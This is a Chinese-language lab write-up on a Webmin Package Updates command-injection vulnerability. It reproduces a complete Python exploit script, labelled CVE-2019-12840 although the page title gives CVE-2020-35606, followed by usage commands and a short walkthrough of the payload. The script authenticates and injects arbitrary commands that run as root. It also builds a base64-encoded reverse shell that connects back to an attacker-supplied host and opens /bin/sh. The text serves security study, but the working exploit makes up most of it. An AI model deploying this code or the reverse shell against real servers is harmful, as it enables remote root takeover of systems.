Webmin 命令执行漏洞 (CVE-2020-35606)
描述: Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.962版本及之前版本存在安全漏洞,该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码:root:password 漏洞利用: 打开需要ssl证书 换成https就行 poc下载地址: #!/usr/bin/python3
'''
# Exploit Title: Webmin Package Updates Remote Command Execution
# Date: 09/11/2019
# Exploit Author: KrE80r (@KrE80r)
# CVE : CVE-2019-12840
# Vendor Homepage: http://webmin.com/
# Version: <= 1.910
# Tested on: Ubuntu 16.04, Ubuntu 18.04
# Refernces: https://secfa.org/?p=17, https://www.pentest.com.tr/explo ... mand-Execution.html
'''
import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import argparse
import sys
import base64
from colorama import Fore, Style
from bs4 import BeautifulSoup
banner = '''
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by KrE80r
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
'''
def CVE_2019_12840(url,auth_base64,cmd):
vuln_url = url + '/package-updates/update.cgi'
headers = {
"User-Agent":"webmin",
"Connection":"close",
"Content-Type":"application/x-www-form-urlencoded",
"Referer": url + "package-updates/update.cgi?xnavigation=1"
}
payload = r'OBJECT CGI;print "Content-Type: Test\n\n";'+'$cmd=`%s`;print "$cmd";' % cmd
r = requests.post(url=vuln_url, data=payload, headers=headers, verify=False)
if r.status_code ==200 and 'Content-type' in r.text:
m = re.findall(r"(.+?)\nContent-type: text/plain",r.text,re.S)
else:
sys.exit(1)
def login(username,password,url):
print(Fore.YELLOW + " logging in ...")
print(Style.RESET_ALL)
session = requests.Session()
session.cookies["testing"] = "1"
data = {'page' : '', 'user' : username, 'pass' : password}
loginurl = url+"/session_login.cgi"
res = session.post(loginurl, data=data, verify=False,allow_redirects=False)
if res.status_code != 302 or session.cookies["sid"] == None:
print(Fore.RED +"[-] Failed to login!!")
print(Style.RESET_ALL)
sys.exit(1)
else:
return session.cookies["sid"]
def exploit(sid,url,cmd):
print(Fore.YELLOW + " sending command", cmd)
print(Style.RESET_ALL)
session = requests.Session()
referer = url + "/package-updates/update.cgi?xnavigation=1"
cookies = "Cookie: redirect=1; testing=1;sid=" + sid
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": referer,
"X-Progressive-URL": url + "package-updates/update.cgi",
"X-Requested-From": "package-updates",
"X-Requested-From-Tab": "webmin",
"X-Requested-With": "XMLHttpRequest",
"Cookie": cookies
}
data = "mode=updates&search=&u=apt/apt&u=;"+ cmd + ";/apt&ok_top=Update+Selected+Packages"
updateurl = url + "/package-updates/update.cgi"
res = session.post(updateurl, data=data,headers=headers, verify=False)
if res.status_code == 200:
soup = BeautifulSoup(res.text, 'html.parser')
#ain't perfect but does the job
output = soup.find_all('pre')
print(output)
print(Fore.GREEN + "[+] exploit finished successfully!!")
print(Style.RESET_ALL)
def b64revshell(lhost,lport):
payload = "python -c \"import base64;exec(base64.b64decode('"
shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
shellcode = str.encode(shellcode)
encoded = base64.b64encode(shellcode)
encoded = encoded.decode("utf-8")
closing = "'))\""
payload += encoded
payload += closing
return payload
if __name__ == "__main__":
print (Fore.GREEN + banner)
print(Style.RESET_ALL)
parser = argparse.ArgumentParser()
parser.add_argument("-U", dest="username", help="username", required=True)
parser.add_argument("-P", dest="password", help="password", required=True)
parser.add_argument("-u", dest="url", help="target url", required=True)
parser.add_argument("-p", dest="port", default="10000", help="target port")#记得修改端口号
parser.add_argument("-lport", dest="lport", default="443", help="local port for reverse shell")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-c", dest="cmd", help="command to execute")
group.add_argument("-lhost", dest="lhost", help="Send back a reverse shell at port 443")
args = parser.parse_args()
baseurl = args.url + ':' + args.port
sid = login(args.username,args.password,baseurl)
sid = sid.strip()
print(Fore.GREEN + "[+] got sid", sid)
print(Style.RESET_ALL)
if args.cmd:
exploit(sid,baseurl,args.cmd)
elif args.lhost:
rev = b64revshell(args.lhost,args.lport)
exploit(sid,baseurl,rev)其中把端口号改成54909 python CVE-2019-12840.py -u https://ip -U username -P password -lport 54909(修改了脚本这里的端口可加可不加) -c "命令"
接下来分析一下poc 怎么利用的 先是登录拿session,然后用这个session去构造cookie进而构造exploit 命令执行地址在这个点: referer = url + "/package-updates/update.cgi?xnavigation=1" payload: data = "mode=updates&search=&u=apt/apt&u=;" + cmd + ";/apt&ok_top=Update+Selected+Packages" 更新回显点用于python爬虫 updateurl = url + "/package-updates/update.cgi" 将payload进行加密: def b64revshell(lhost, lport):
payload = "python -c \"import base64;exec(base64.b64decode('"
shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
shellcode = str.encode(shellcode)
encoded = base64.b64encode(shellcode)
encoded = encoded.decode("utf-8")
closing = "'))\""
payload += encoded
payload += closing
return payload
|